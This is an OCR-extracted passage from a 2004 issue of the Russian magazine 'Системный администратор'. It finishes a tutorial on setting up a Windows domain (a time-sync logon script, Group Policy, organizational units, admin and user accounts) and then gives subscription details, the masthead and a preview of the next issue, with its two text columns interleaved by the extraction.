рением *.bat. Обратите внимание, чтобы у файла не было Закладка Член групп → Добавить. Добавляем все группы
двойного расширения, так как стандартная команда «Со- администраторов. Несмотря на то что группа «Администра-
здать – Текстовый файл» создает именно *.txt-файл, а по торы» уже включает в себя подгруппы «Администраторы
умолчанию Windows скрывает расширения. Исправляем домена» и «Администраторы предприятия», лучше продуб-
это: в «проводнике» – Сервис → Свойства папки → Вид – лировать их для предотвращения возможных ошибок исклю-
снимаем галочку «Скрывать расширения для зарегистри- чения из групп. Жмем «ОК» и в появившемся списке выде-
рованных типов файлов». ляем «Администраторы предприятия». Щелкаем по кнопке
Создаем в нашей папке Apps текстовый файл logon.bat, «Задать основную группу». Затем выделяем группу «Пользо-
открываем его и вводим в него следующие команды: ватели домена» и жмем «Удалить». Подтверждаем свой вы-
бор. Выходим из окна «Свойства», нажав «ОК».
@echo off Закрываем оснастку Active Directory → Пользователи и
net time \\server /set /yes
компьютеры. Мы создали домен и первого пользователя в
где вместо «server» вставляем имя созданного нами сер- нем. Эту учетную запись вы будете использовать для ад-
вера, если назвали его иначе. Сохраняем файл. министрирования домена. Внимание! Помните, что рабо-
Затем снова открываем консоль Active Directory → тать повседневно под учетной записью, имеющей полно-
Пользователи и компьютеры и вызываем свойства нашего мочия «Администратора домена» крайне неразумно! Она
домена, как при переводе в основной режим. Открываем должна использоваться только для произведения измене-
закладку «Групповая политика» и нажимаем «Изменить». ний в домене. Для запуска приложений от имени другой
Откроется консоль «Групповая политика». Конфигурация учетной записи необязательно завершать текущий сеанс.
пользователя → Конфигурация Windows → Сценарии (вход Удерживая клавишу <Shift>, щелкните по ярлыку вашего
и выход). Дважды щелкаем на Вход в систему → Доба- приложения правой клавишей мыши. Выбрав «Запуск от
вить → Обзор. Выделяем в маске выбираемых файлов «Все имени…», введите необходимые учетные данные. Прило-
файлы» и проводником находим наш файл «logon.bat». Вы- жение запустится с привилегиями этой учетной записи.
бираем его и нажимаем дважды «ОК». Закрываем окно Очень удобно применять, например, для изменения инфор-
«Групповая политика» и в открытом нами окне «Свойства» мации при помощи файловых менеджеров. Не забудьте
нажимаем «Применить», затем «ОК». закрыть приложение после произведения всех необходи-
Клиенты домена с ОС Windows 2000 и выше – автома- мых действий.
тически синхронизируют время с контроллерами домена. Теперь создадим нашу первую пользовательскую учет-
В открытой консоли «Active Directory → Пользователи и ную запись. Выделяем подразделение All_Users, правой
компьютеры» раскрываем значком «+» наш домен. Затем клавишей – Создать → Пользователь. По описанной ана-
правой клавишей по корню домена (firma.local) – Создать логии создаем для себя пользователя, под которым вы бу-
→ Подразделение. Вводим имя нового подразделения, на- дете работать повседневно. При этом не добавляем
пример All_Users. В него мы будем помещать всех пользо- пользователю членств в группах – он автоматически бу-
вателей нашего домена и другие вложенные подразделе- дет включен в группу «Пользователи домена». Все! Даль-
ния. Это необходимо для дальнейшего создания и редак- нейшее заведение пользователей аналогично описанно-
тирования групповых политик, при помощи которых можно му примеру.
автоматически присваивать необходимые параметры и на- В следующем номере мы рассмотрим пример настрой-
стройки компьютерам и пользователям домена. ки сервера приложений (сервер терминалов).

94
подписка на I полугодие 2005
Российская Федерация ! Узбекистан – по каталогу «Davriy nashrlar» российские
! Подписной индекс: 81655 издания через агентство по распространению печати
Каталог агентства «Роспечать» «Davriy nashrlar» (7000029, Ташкент, пл.Мустакиллик,
! Подписной индекс: 87836 5/3, офис 33)
Объединенный каталог «Пресса России» ! Азербайджан – по объединенному каталогу российских
Адресный каталог «Подписка за рабочим столом» изданий через предприятие по распространению печа-
Адресный каталог «Библиотечный каталог» ти «Гасид» (370102, г. Баку, ул. Джавадхана, 21)
! Альтернативные подписные агентства: ! Армения – по списку номенклатуры «АРЗИ» через ГЗАО
Агентство «Интер-Почта» (095) 500-00-60, курьерская «Армпечать» (375005, г.Ереван, пл.Сасунци Давида, д.2)
доставка по Москве и ЗАО «Контакт-Мамул» (375002, г. Ереван, ул.Сарья-
Агентство «Вся Пресса» (095) 787-34-47 на, 22)
Агентство «Курьер-Прессервис» ! Грузия – по списку номенклатуры «АРЗИ» через АО
! Подписка On-line «Сакпресса» ( 380019, г.Тбилиси, ул.Хошараульская, 29)
http://www.arzy.ru и АО «Мацне» (380060, г.Тбилиси, пр-т Гамсахурдия, 42)
http://www.gazety.ru ! Молдавия – по каталогу через ГП «Пошта Молдавей»
http://www.presscafe.ru (МД-2012, г.Кишинев, бул.Штефан чел Маре, 134)
по списку через ГУП «Почта Приднестровья» (МD-3300,
СНГ г.Тирасполь, ул.Ленина, 17)
В странах СНГ подписка принимается в почтовых отделе- по прайслисту через ООО Агентство «Editil Periodice»
ниях по национальным каталогам или по списку номенкла- (2012, г.Кишинев, бул. Штефан чел Маре, 134)
туры АРЗИ: ! Подписка для Украины:
! Казахстан – по каталогу «Российская Пресса» через Киевский главпочтамп
ОАО «Казпочта» и ЗАО «Евразия пресс» Подписное агентство «KSS»
! Беларусь – по каталогу изданий стран СНГ через РГО Телефон/факс (044)464-0220
«Белпочта» (220050, г.Минск, пр-т Ф.Скорины, 10)

Подписные
индексы:

81655
по каталогу
агентства
«Роспечать»

87836
по каталогу
агентства
«Пресса
России»

№10(23), октябрь 2004 95


СИСТЕМНЫЙ АДМИНИСТРАТОР
№10(23), Октябрь, 2004 год

РЕДАКЦИЯ
ЧИТАЙТЕ
Исполнительный директор
Владимир Положевец
В СЛЕДУЮЩЕМ
Ответственный секретарь
Наталья Хвостова
sekretar@samag.ru
НОМЕРЕ:
Технический редактор
Владимир Лукин
Редактор Заметки о Linare Пакетный фильтр
Андрей Бешков «Заметки о Linare» открывают цикл OpenBSD
статей, посвященных настольным ди- В статье пойдет речь о возможностях
РЕКЛАМНАЯ СЛУЖБА стрибутивам Linux. Вопрос об исполь- и особенностях настройки пакетного
тел./факс: (095) 928-8253 зовании Linux на клиентских местах об- фильтра Packet Filter (PF), входящего
Константин Меделян суждается сейчас очень широко – со- в стандартный дистрибутив системы
reсlama@samag.ru здается такое впечатление, что каждое OpenBSD, начиная с версии 3.0.
уважающее себя аналитическое агент-
Верстка и оформление ство считает своим долгом подготовить Создание сценария
imposer@samag.ru исследование, дающее исчерпываю- регистрации пользователей
maker_up@samag.ru щий ответ на вопрос, когда Windows в сети
Дизайн обложки окончательно сдаст свои позиции, В предыдущих статьях я рассказывал о
Николай Петрочук сколько это будет стоить и случится ли том, как автоматизировать различные
вообще. Не отстают и гиганты индуст- процессы в сети. Решение поставлен-
103045, г. Москва, рии: «тяжеловесы» вроде Novell и Sun ной задачи нетривиально и состоит из
Ананьевский переулок, дом 4/2 стр. 1 Microsystems выпускают собственные нескольких частей. Одной из них явля-
тел./факс: (095) 928-8253 разработки с обязательной приставкой ется сценарий регистрации пользовате-
Е-mail: info@samag.ru «Desktop». Мы же, в свою очередь, по- лей в сети. По своему характеру она
Internet: www.samag.ru пробуем рассмотреть этот феномен с носила концептуальный характер, одна-
позиций конечного пользователя. Чем ко на форуме журнала читатели дали
РУКОВОДИТЕЛЬ ПРОЕКТА настольный Linux отличается от своих понять, что концепция – это хорошо, но
Петр Положевец «ненастольных» аналогов? Как ведет необходимо привести конкретный при-
себя в работе тот или иной дистрибу- мер. Пришла пора сложить недостаю-
УЧРЕДИТЕЛИ тив, можно ли использовать его для щие кусочки мозаики в одно целое и
Владимир Положевец решения определенного кргуа задач? подробно рассказать о теоретических
Александр Михалев Вот те вопросы, на которые мы попы- и практических аспектах его создания
таемся дать ответ. и особенностях внедрения.
ИЗДАТЕЛЬ
ЗАО «Издательский дом
«Учительская газета» Вы можете приобретать журналы в магазинах
и торговых точках г. Москвы по адресам:
Отпечатано типографией
ГП «Московская Типография №13» ! Магазин «Компьютерная и деловая книга» (Ленинский проспект, строение 38).
Тираж 7000 экз. ! Выставочный компьютерный центр «Савеловский» (Киоск у главного входа).
! Выставочный компьютерный центр «Буденовский».
Журнал зарегистрирован ! Книжная ярмарка «Центральная». Mагазин «Деловая и учебная литерату-
в Министерстве РФ по делам печати, ра» (м. Тульская, Варшавское шоссе, д.9. эт. 5, павильон 515-09).
телерадиовещания и средств мас- ! ТЦ «Электроника на Пресне». Mагазин «Техкнига» (павильон 8-9).
совых коммуникаций (свидетельство ! Редакция «Учительская газета» (Ананьевский переулок, д. 4/2, стр. 1).
ПИ № 77-12542 от 24 апреля 2002г.)
On-line магазины:
За содержание статьи ответствен-
ность несет автор. За содержание ! www.allsoft.ru Уважаемые читатели!
рекламного обьявления ответствен- ! www.linuxcenter.ru
ность несет рекламодатель. Все пра- ! www.linuxshop.ru НЕ ПРОПУСТИТЕ ПОДПИСКУ
ва на опубликованные материалы за- ! www.bolero.ru на первое полугодие 2005 года
щищены. Редакция оставляет за со- подробная информация на стр. 95
бой право изменять содержание сле-
дующих номеров.

96

Вам также может понравиться